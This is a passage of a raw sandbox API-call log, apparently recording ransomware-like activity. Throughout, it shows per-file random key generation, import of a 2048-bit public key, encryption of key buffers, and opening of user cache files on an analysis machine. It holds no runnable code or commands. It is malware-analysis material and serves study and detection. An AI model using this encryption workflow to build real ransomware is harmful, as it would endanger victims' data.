(lpModuleName="Advapi32.dll") returned 0x74c90000 [0222.402] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0222.402] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d868 | out: pbBuffer=0x285d868) returned 1 [0222.402] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0222.402] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4760) returned 1 [0222.405] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x6486040) returned 1 [0222.405] CryptGetKeyParam (in: hKey=0x6486040, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0222.405] CryptEncrypt (in: hKey=0x6486040, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7560000*, pdwDataLen=0x285d8b4*=0xc8, dwBufLen=0x800 | out: pbData=0x7560000*, pdwDataLen=0x285d8b4*=0x100) returned 1 [0222.406] GetLastError () returned 0x0 [0222.406] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0222.406] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4760) returned 1 [0222.408] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x6485f40) returned 1 [0222.408] CryptGetKeyParam (in: hKey=0x6485f40, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0222.408] CryptEncrypt (in: hKey=0x6485f40, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7570000*, pdwDataLen=0x285d8b8*=0xc8, dwBufLen=0x800 | out: pbData=0x7570000*, pdwDataLen=0x285d8b8*=0x100) returned 1 [0222.408] GetLastError () returned 0x0 [0222.408] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0222.408] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Caches\\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.1.ver0x0000000000000035.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\caches\\{3da71d5a-20cc-432f-a115-dfe92379e91f}.1.ver0x0000000000000035.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0222.408] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4760) returned 1 [0222.410] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0222.411] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0222.411] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d89c | out: pbBuffer=0x285d89c) returned 1 [0222.411] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0222.411] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4760) returned 1 [0222.413] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0222.414] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0222.414] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d868 | out: pbBuffer=0x285d868) returned 1 [0222.414] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0222.414] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4e48) returned 1 [0222.416] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x6485880) returned 1 [0222.419] CryptGetKeyParam (in: hKey=0x6485880, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0222.419] CryptEncrypt (in: hKey=0x6485880, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7580000*, pdwDataLen=0x285d8b4*=0xc8, dwBufLen=0x800 | out: pbData=0x7580000*, pdwDataLen=0x285d8b4*=0x100) returned 1 [0222.419] GetLastError () returned 0x0 [0222.419] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0222.419] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4760) returned 1 [0222.421] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x6485f00) returned 1 [0222.421] CryptGetKeyParam (in: hKey=0x6485f00, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0222.421] CryptEncrypt (in: hKey=0x6485f00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7590000*, pdwDataLen=0x285d8b8*=0xc8, dwBufLen=0x800 | out: pbData=0x7590000*, pdwDataLen=0x285d8b8*=0x100) returned 1 [0222.421] GetLastError () returned 0x0 [0222.421] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0222.421] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000012.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000012.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0222.422] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4760) returned 1 [0222.423] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0222.424] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0222.425] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d89c | out: pbBuffer=0x285d89c) returned 1 [0222.426] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0222.426] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4e48) returned 1 [0222.427] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0222.429] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0222.429] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d868 | out: pbBuffer=0x285d868) returned 1 [0222.429] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0222.429] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4e48) returned 1 [0222.431] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x6485c80) returned 1 [0222.431] CryptGetKeyParam (in: hKey=0x6485c80, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0222.431] CryptEncrypt (in: hKey=0x6485c80, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x75a0000*, pdwDataLen=0x285d8b4*=0xc8, dwBufLen=0x800 | out: pbData=0x75a0000*, pdwDataLen=0x285d8b4*=0x100) returned 1 [0222.431] GetLastError () returned 0x0 [0222.431] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0222.431] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4e48) returned 1 [0222.433] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x64859c0) returned 1 [0222.433] CryptGetKeyParam (in: hKey=0x64859c0, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0222.433] CryptEncrypt (in: hKey=0x64859c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x75b0000*, pdwDataLen=0x285d8b8*=0xc8, dwBufLen=0x800 | out: pbData=0x75b0000*, pdwDataLen=0x285d8b8*=0x100) returned 1 [0222.434] GetLastError () returned 0x0 [0222.434] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0222.434] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000013.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000013.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0222.438] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4760) returned 1 [0222.440] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0222.442] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0222.442] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d89c | out: pbBuffer=0x285d89c) returned 1 [0222.442] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0222.442] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4760) returned 1 [0222.443] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0222.444] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0222.444] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d868 | out: pbBuffer=0x285d868) returned 1 [0222.444] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0222.445] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4980) returned 1 [0222.448] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x6485a80) returned 1 [0222.448] CryptGetKeyParam (in: hKey=0x6485a80, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0222.448] CryptEncrypt (in: hKey=0x6485a80, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x75c0000*, pdwDataLen=0x285d8b4*=0xc8, dwBufLen=0x800 | out: pbData=0x75c0000*, pdwDataLen=0x285d8b4*=0x100) returned 1 [0222.448] GetLastError () returned 0x0 [0222.448] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0222.448] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4e48) returned 1 [0222.450] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x6485bc0) returned 1 [0222.450] CryptGetKeyParam (in: hKey=0x6485bc0, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0222.450] CryptEncrypt (in: hKey=0x6485bc0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x75d0000*, pdwDataLen=0x285d8b8*=0xc8, dwBufLen=0x800 | out: pbData=0x75d0000*, pdwDataLen=0x285d8b8*=0x100) returned 1 [0222.451] GetLastError () returned 0x0 [0222.451] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0222.451] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\thumbcache_48.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\thumbcache_48.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0222.454] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4760) returned 1 [0222.456] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0222.457] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0222.457] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d89c | out: pbBuffer=0x285d89c) returned 1 [0222.458] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0222.458] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4e48) returned 1 [0222.459] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0222.460] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0222.460] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d868 | out: pbBuffer=0x285d868) returned 1 [0222.460] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0222.461] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4e48) returned 1 [0222.463] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x6485c40) returned 1 [0222.463] CryptGetKeyParam (in: hKey=0x6485c40, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0222.463] CryptEncrypt (in: hKey=0x6485c40, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x75e0000*, pdwDataLen=0x285d8b4*=0xc8, dwBufLen=0x800 | out: pbData=0x75e0000*, pdwDataLen=0x285d8b4*=0x100) returned 1 [0222.463] GetLastError () returned 0x0 [0222.463] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0222.463] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4e48) returned 1 [0222.465] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x6485b40) returned 1 [0222.465] CryptGetKeyParam (in: hKey=0x6485b40, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0222.465] CryptEncrypt (in: hKey=0x6485b40, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x75f0000*, pdwDataLen=0x285d8b8*=0xc8, dwBufLen=0x800 | out: pbData=0x75f0000*, pdwDataLen=0x285d8b8*=0x100) returned 1 [0222.465] GetLastError () returned 0x0 [0222.465] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0222.465] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\thumbcache_idx.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0222.499] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4e48) returned 1 [0222.501] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0222.502] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0222.502] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d89c | out: pbBuffer=0x285d89c) returned 1 [0222.502] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0222.502] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4e48) returned 1 [0222.503] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0222.504] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0222.504] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d868 | out: pbBuffer=0x285d868) returned 1 [0222.504] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0222.505] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4e48) returned 1 [0222.507] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x64858c0) returned 1 [0222.507] CryptGetKeyParam (in: hKey=0x64858c0, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0222.507] CryptEncrypt (in: hKey=0x64858c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7600000*, pdwDataLen=0x285d8b4*=0xc8, dwBufLen=0x800 | out: pbData=0x7600000*, pdwDataLen=0x285d8b4*=0x100) returned 1 [0222.507] GetLastError () returned 0x0 [0222.507] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0222.507] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4980) returned 1 [0222.509] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x6485cc0) returned 1 [0222.509] CryptGetKeyParam (in: hKey=0x6485cc0, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0222.509] CryptEncrypt (in: hKey=0x6485cc0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7610000*, pdwDataLen=0x285d8b8*=0xc8, dwBufLen=0x800 | out: pbData=0x7610000*, pdwDataLen=0x285d8b8*=0x100) returned 1 [0222.510] GetLastError () returned 0x0 [0222.510] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0222.510] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCache\\counters.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcache\\counters.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0222.567] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4760) returned 1 [0222.569] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0222.570] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0222.570] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d89c | out: pbBuffer=0x285d89c) returned 1 [0222.570] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0222.570] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4760) returned 1 [0222.572] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0222.573] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0222.573] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d868 | out: pbBuffer=0x285d868) returned 1 [0222.573] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0222.573] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4e48) returned 1 [0222.576] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x6485e00) returned 1 [0222.576] CryptGetKeyParam (in: hKey=0x6485e00, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0222.576] CryptEncrypt (in: hKey=0x6485e00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7620000*, pdwDataLen=0x285d8b4*=0xc8, dwBufLen=0x800 | out: pbData=0x7620000*, pdwDataLen=0x285d8b4*=0x100) returned 1 [0222.576] GetLastError () returned 0x0 [0222.576] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0222.576] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4760) returned 1 [0222.578] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x6485900) returned 1 [0222.578] CryptGetKeyParam (in: hKey=0x6485900, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0222.578] CryptEncrypt (in: hKey=0x6485900, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7630000*, pdwDataLen=0x285d8b8*=0xc8, dwBufLen=0x800 | out: pbData=0x7630000*, pdwDataLen=0x285d8b8*=0x100) returned 1 [0222.579] GetLastError () returned 0x0 [0222.579] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0222.579] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\appdb.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\appdb.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0222.635] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4760) returned 1 [0222.637] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0222.639] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0222.639] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d89c | out: pbBuffer=0x285d89c) returned 1 [0222.639] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0222.639] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4e48) returned 1 [0222.641] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0222.642] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0222.642] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d868 | out: pbBuffer=0x285d868) returned 1 [0222.642] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0222.642] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4980) returned 1 [0222.644] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x6485d80) returned 1 [0222.644] CryptGetKeyParam (in: hKey=0x6485d80, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0222.644] CryptEncrypt (in: hKey=0x6485d80, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7640000*, pdwDataLen=0x285d8b4*=0xc8, dwBufLen=0x800 | out: pbData=0x7640000*, pdwDataLen=0x285d8b4*=0x100) returned 1 [0222.645] GetLastError () returned 0x0 [0222.645] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0222.645] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: 